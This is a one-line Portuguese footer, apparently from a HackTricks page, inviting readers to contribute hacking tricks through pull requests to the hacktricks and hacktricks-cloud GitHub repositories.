- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>